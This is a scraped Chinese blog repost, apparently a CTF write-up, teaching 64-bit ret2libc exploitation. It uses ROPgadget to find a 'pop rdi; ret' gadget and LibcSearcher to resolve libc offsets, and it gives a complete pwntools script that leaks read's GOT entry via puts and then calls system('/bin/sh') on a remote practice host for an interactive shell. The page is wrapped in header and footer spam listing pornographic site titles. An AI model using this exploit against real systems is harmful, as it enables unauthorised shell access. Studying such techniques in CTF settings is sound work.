日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

64位传参利用方法LibcSearcher使用入门ROPgadget利用

發布時間:2025/3/21 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 64位传参利用方法LibcSearcher使用入门ROPgadget利用 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

ROP,需要通過puts函數泄露read函數地址,ROP時用puts函數的地址覆蓋返回地址,用read函數的GOT表地址作為puts的參數傳入。但是64位程序的函數傳參是通過寄存器+堆棧的方式,因此無法直接通過棧溢出寫入參數。解決方法是:在程序中尋找一處pop %rdi的指令,將數據寫入rdi寄存器。
在程序中尋找pop %rdi需要一個叫ROPgadget的工具。
Linux指令:
ROPgadget --binary pwn | grep "pop rdi"

查到在程序的0x400763地址處存在一個pop rdi ; ret的指令。
可以先將rsp所指的那8個字節pop到rdi寄存器,然后再執行一個ret指令,正合我們的需求。

關于LibcSearcher的用法:
這個庫最好在Linux下用,Windows下會出一些問題
用已泄露的函數地址,如read_addr去匹配即可
libc = LibcSearcher("read", read_addr) # 獲取libc對象
libc.dump("read")可以獲取read在對應libc中的偏移
甚至還能直接獲取libc中的\bin\sh:
# 直接獲取/bin/sh地址
binsh_addr = libc.dump("str_bin_sh") + libc_base

完整代碼:

# -*- coding: utf-8 from pwn import * from LibcSearcher import * elf = ELF("pwn") puts_addr = elf.sym['puts'] read_got = elf.got['read'] poprdi_addr = 0x400763 # 在這個地方有指令:pop rdi; ret main_addr = 0x4006B8payload1 = "a" * 0x40 # rubbish payload1 += p64(0) # old rbp payload1 += p64(poprdi_addr) # 第一次返回到pop rdi的地方 payload1 += p64(read_got) # 這是puts的參數 payload1 += p64(puts_addr) payload1 += p64(main_addr) # puts函數的返回地址,重新進入main函數 payload1 += "b" * (200 - len(payload1))io = remote("111.200.241.244", 55160) io.send(payload1) io.recvline() read_addr = io.recvline().split("\n")[0] print(len(read_addr)) for i in range(len(read_addr), 8):read_addr += '\x00' # 補足8字節 read_addr = u64(read_addr) print(hex(read_addr))# 用LibcSearcher查詢函數,只需要傳入已經泄露的地址即可自動匹配 libc = LibcSearcher("read", read_addr) # 獲取libc對象 libc_base = read_addr - libc.dump("read") system_addr = libc_base + libc.dump("system")# 直接獲取/bin/sh地址 binsh_addr = libc.dump("str_bin_sh") + libc_base# 第二次需要調用system(binsh_addr) payload2 = "a" * 0x40 # rubbish payload2 += p64(0) # old rbp payload2 += p64(poprdi_addr) # 第一次返回到pop rdi的地方 payload2 += p64(binsh_addr) # 這是system的參數 payload2 += p64(system_addr) payload2 += p64(main_addr) # system函數的返回地址,重新進入main函數 payload2 += "b" * (200 - len(payload2)) io.send(payload2) io.interactive()

總結

以上是生活随笔為你收集整理的64位传参利用方法LibcSearcher使用入门ROPgadget利用的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 高清av一区二区 | 成人免费在线播放视频 | 国产第一亚洲 | 黄色avv| 黄色片在线观看免费 | 日韩精品免费在线视频 | 激情视频久久 | 中国黄色一级大片 | 18国产免费视频 | 又黄又爽又色的视频 | 蜜桃av成人永久免费 | 91精品国产入口在线 | 日韩一二三四五区 | av中文在线播放 | 求av网站 | 一区二区三区四区免费 | 操操日日 | 乳女教师の诱惑julia | 欧美动态色图 | 色综合狠狠爱 | 2022精品国偷自产免费观看 | 亚洲天堂一区二区三区四区 | 噜噜啪啪 | 加勒比一区在线 | 亚洲丝袜在线视频 | 国产一区免费看 | 中文字幕+乱码+中文字幕明步 | 色就是色综合 | 国产日韩免费 | 丰满人妻妇伦又伦精品国产 | 午夜精品福利一区二区三区蜜桃 | 五月婷婷狠狠 | 午夜视频福利网站 | 国产女人呻吟高潮抽搐声 | 真性中出 | 午夜两性视频 | 黄色一节片 | av手机观看 | 九九视频免费看 | 黄片毛片在线免费观看 | 欧洲mv日韩mv国产 | 午夜视频网址 | 亚洲少妇第一页 | 天天想你在线观看完整版高清 | 成人免费小视频 | 西西人体高清44rt·net | 欧美午夜寂寞影院 | 免费在线小视频 | 隣の若妻さん波多野结衣 | 国产亚洲色婷婷久久 | 成人涩涩软件 | 国产第一av | 日韩精品免费在线观看 | 激情视频激情小说 | 亚洲va久久久噜噜噜久久天堂 | 另类一区二区三区 | 探花精品 | 国产综合精品一区二区三区 | 国产精品一区二区免费视频 | 用力抵着尿进去了h | 怡红院一区二区三区 | 九九热色 | 日干夜干 | 91福利视频在线 | 久久99热人妻偷产国产 | 人妻丰满熟妇岳av无码区hd | 超碰首页 | 扒开jk护士狂揉免费 | 久久影院中文字幕 | 国产精品日| 人妻少妇精品中文字幕av蜜桃 | 国产精品久久久久久久av福利 | av拍拍拍 | 亚洲欧美精品在线观看 | 四虎国产 | 国产精品久久毛片 | 女性生殖扒开酷刑vk | 婷婷久久久| h视频亚洲| 不卡的中文字幕 | 日本成人在线一区 | 中文字幕亚洲欧美日韩 | 成人av无码一区二区三区 | 肉丝肉足丝袜一区二区三区 | 久久久久亚洲av成人网人人网站 | 九九九国产 | 亚洲 欧美 国产 另类 | 精品久久久亚洲 | 亚洲最大的黄色网 | 青青国产精品视频 | 自拍偷拍第3页 | 欧美在线一二三区 | 欧美高清69hd | 亚洲一区二区三区观看 | 欧美日韩国产三级 | 看片网站在线观看 | 日本少妇喂奶 | 国产日韩一区二区在线观看 | 日韩成人影视 |